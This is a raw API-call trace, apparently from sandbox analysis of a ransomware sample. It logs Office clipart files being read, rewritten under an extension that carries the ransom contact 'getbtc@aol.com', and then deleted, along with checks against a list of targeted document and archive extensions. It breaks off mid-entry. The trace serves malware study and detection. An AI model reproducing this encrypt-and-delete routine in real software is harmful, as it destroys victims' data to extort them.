WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x330, lpOverlapped=0x0) returned 1 [0244.439] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.439] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.439] SetEndOfFile (hFile=0x360) returned 1 [0244.439] CloseHandle (hObject=0x360) returned 1 [0244.439] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.439] SetEndOfFile (hFile=0x398) returned 1 [0244.441] CloseHandle (hObject=0x398) returned 1 [0244.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0244.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.442] lstrlenW (lpString=".doc") returned 4 [0244.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.442] lstrlenW (lpString=".docx") returned 5 [0244.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.442] lstrlenW (lpString=".pdf") returned 4 [0244.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.442] lstrlenW (lpString=".xls") returned 4 [0244.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.442] lstrlenW (lpString=".xlsx") returned 5 [0244.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.442] lstrlenW (lpString=".ppt") returned 4 [0244.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.442] lstrlenW (lpString=".zip") returned 4 [0244.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.443] lstrlenW (lpString=".rar") returned 4 [0244.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString=".bz2") returned 4 [0244.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString=".7z") returned 3 [0244.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.443] lstrlenW (lpString=".dbf") returned 4 [0244.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.443] lstrlenW (lpString=".1cd") returned 4 [0244.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.443] lstrlenW (lpString=".jpg") returned 4 [0244.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.443] lstrlenW (lpString=".doc") returned 4 [0244.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString=".docx") returned 5 [0244.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.443] lstrlenW (lpString=".pdf") returned 4 [0244.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString=".xls") returned 4 [0244.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.443] lstrlenW (lpString=".xlsx") returned 5 [0244.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.443] lstrlenW (lpString=".ppt") returned 4 [0244.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.444] lstrlenW (lpString=".zip") returned 4 [0244.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.444] lstrlenW (lpString=".rar") returned 4 [0244.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.444] lstrlenW (lpString=".bz2") returned 4 [0244.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.444] lstrlenW (lpString=".7z") returned 3 [0244.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.444] lstrlenW (lpString=".dbf") returned 4 [0244.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.444] lstrlenW (lpString=".1cd") returned 4 [0244.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0244.444] lstrlenW (lpString=".jpg") returned 4 [0244.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.444] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.444] lstrlenW (lpString="BL00390_.WMF") returned 12 [0244.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.445] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=13102) returned 1 [0244.445] CloseHandle (hObject=0x398) returned 1 [0244.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0244.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.446] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.446] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.446] GetLastError () returned 0x0 [0244.446] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x332e, lpOverlapped=0x0) returned 1 [0244.448] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0244.450] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.450] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.450] SetEndOfFile (hFile=0x360) returned 1 [0244.450] CloseHandle (hObject=0x360) returned 1 [0244.450] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.450] SetEndOfFile (hFile=0x398) returned 1 [0244.452] CloseHandle (hObject=0x398) returned 1 [0244.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0244.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.666] lstrlenW (lpString=".doc") returned 4 [0244.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.666] lstrlenW (lpString=".docx") returned 5 [0244.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.666] lstrlenW (lpString=".pdf") returned 4 [0244.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.666] lstrlenW (lpString=".xls") returned 4 [0244.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.666] lstrlenW (lpString=".xlsx") returned 5 [0244.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.666] lstrlenW (lpString=".ppt") returned 4 [0244.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.666] lstrlenW (lpString=".zip") returned 4 [0244.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.666] lstrlenW (lpString=".rar") returned 4 [0244.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString=".bz2") returned 4 [0244.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString=".7z") returned 3 [0244.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.667] lstrlenW (lpString=".dbf") returned 4 [0244.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.667] lstrlenW (lpString=".1cd") returned 4 [0244.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.667] lstrlenW (lpString=".jpg") returned 4 [0244.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.667] lstrlenW (lpString=".doc") returned 4 [0244.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString=".docx") returned 5 [0244.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.667] lstrlenW (lpString=".pdf") returned 4 [0244.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString=".xls") returned 4 [0244.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.667] lstrlenW (lpString=".xlsx") returned 5 [0244.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.667] lstrlenW (lpString=".ppt") returned 4 [0244.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.667] lstrlenW (lpString=".zip") returned 4 [0244.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.667] lstrlenW (lpString=".rar") returned 4 [0244.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.667] lstrlenW (lpString=".bz2") returned 4 [0244.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.668] lstrlenW (lpString=".7z") returned 3 [0244.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.668] lstrlenW (lpString=".dbf") returned 4 [0244.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.668] lstrlenW (lpString=".1cd") returned 4 [0244.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0244.668] lstrlenW (lpString=".jpg") returned 4 [0244.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.756] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.756] lstrlenW (lpString="BL00648_.WMF") returned 12 [0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0244.836] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=11500) returned 1 [0244.836] CloseHandle (hObject=0x390) returned 1 [0244.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0244.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0244.836] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.837] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.065] GetLastError () returned 0x0 [0245.065] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2cec, lpOverlapped=0x0) returned 1 [0245.067] WriteFile (in: hFile=0x37c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0245.068] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.068] WriteFile (in: hFile=0x37c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.068] SetEndOfFile (hFile=0x37c) returned 1 [0245.068] CloseHandle (hObject=0x37c) returned 1 [0245.068] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.068] SetEndOfFile (hFile=0x390) returned 1 [0245.073] CloseHandle (hObject=0x390) returned 1 [0245.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0245.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.126] lstrlenW (lpString=".doc") returned 4 [0245.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.126] lstrlenW (lpString=".docx") returned 5 [0245.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.127] lstrlenW (lpString=".pdf") returned 4 [0245.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString=".xls") returned 4 [0245.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.127] lstrlenW (lpString=".xlsx") returned 5 [0245.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.127] lstrlenW (lpString=".ppt") returned 4 [0245.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.127] lstrlenW (lpString=".zip") returned 4 [0245.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.127] lstrlenW (lpString=".rar") returned 4 [0245.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString=".bz2") returned 4 [0245.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString=".7z") returned 3 [0245.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.127] lstrlenW (lpString=".dbf") returned 4 [0245.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.127] lstrlenW (lpString=".1cd") returned 4 [0245.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.127] lstrlenW (lpString=".jpg") returned 4 [0245.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.127] lstrlenW (lpString=".doc") returned 4 [0245.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.127] lstrlenW (lpString=".docx") returned 5 [0245.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.127] lstrlenW (lpString=".pdf") returned 4 [0245.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.128] lstrlenW (lpString=".xls") returned 4 [0245.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.128] lstrlenW (lpString=".xlsx") returned 5 [0245.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.128] lstrlenW (lpString=".ppt") returned 4 [0245.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.128] lstrlenW (lpString=".zip") returned 4 [0245.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.128] lstrlenW (lpString=".rar") returned 4 [0245.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.128] lstrlenW (lpString=".bz2") returned 4 [0245.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.128] lstrlenW (lpString=".7z") returned 3 [0245.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.128] lstrlenW (lpString=".dbf") returned 4 [0245.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.128] lstrlenW (lpString=".1cd") returned 4 [0245.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0245.128] lstrlenW (lpString=".jpg") returned 4 [0245.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.128] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.128] lstrlenW (lpString="BS00174_.WMF") returned 12 [0245.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0245.139] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=8366) returned 1 [0245.139] CloseHandle (hObject=0x20c) returned 1 [0245.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0245.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.415] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.415] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0245.663] GetLastError () returned 0x0 [0245.663] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0245.727] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0245.728] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.728] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, 